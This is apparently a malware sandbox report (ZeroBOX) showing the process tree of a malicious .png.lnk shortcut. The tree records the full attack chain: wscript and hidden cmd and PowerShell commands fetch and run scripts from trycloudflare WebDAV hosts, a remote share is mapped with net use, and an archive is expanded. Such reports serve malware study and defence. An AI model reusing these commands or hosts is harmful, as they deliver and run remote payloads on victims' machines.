| ZeroBOX

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "NTVqLNzJkq" C:\Users\test22\AppData\Local\Temp\Artikel-4.png.lnk
2560
- wscript.exe "C:\Windows\System32\WScript.exe" "\\numbers-queensland-rec-thumbs.trycloudflare.com@SSL\DavWWWRoot\32\new.wsh"
  2808
  - cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\numbers-queensland-rec-thumbs.trycloudflare.com@SSL\DavWWWRoot\lo.bat
    2940
    - cmd.exe C:\Windows\system32\cmd.exe /K \\numbers-queensland-rec-thumbs.trycloudflare.com@SSL\DavWWWRoot\lo.bat
      3008
      - powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\numbers-queensland-rec-thumbs.trycloudflare.com@SSL\DavWWWRoot\lo.bat\" hidden' -WindowStyle Hidden"
        908
        
        cmd.exe "C:\Windows\system32\cmd.exe" /c "\\numbers-queensland-rec-thumbs.trycloudflare.com@SSL\DavWWWRoot\lo.bat" hidden
        1356
        
        iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome
        2228
        
        iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2228 CREDAT:145409
        2448
        
        net.exe net use U: "\\toolkit-nokia-network-alert.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no
        2652
        
        powershell.exe powershell -Command "Expand-Archive -Path 'C:\Users\test22\Contacts\deci.zip' -DestinationPath 'C:\Users\test22\Contacts' -Force"
        536
        
        net.exe net use U: /delete /yes
        2904

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents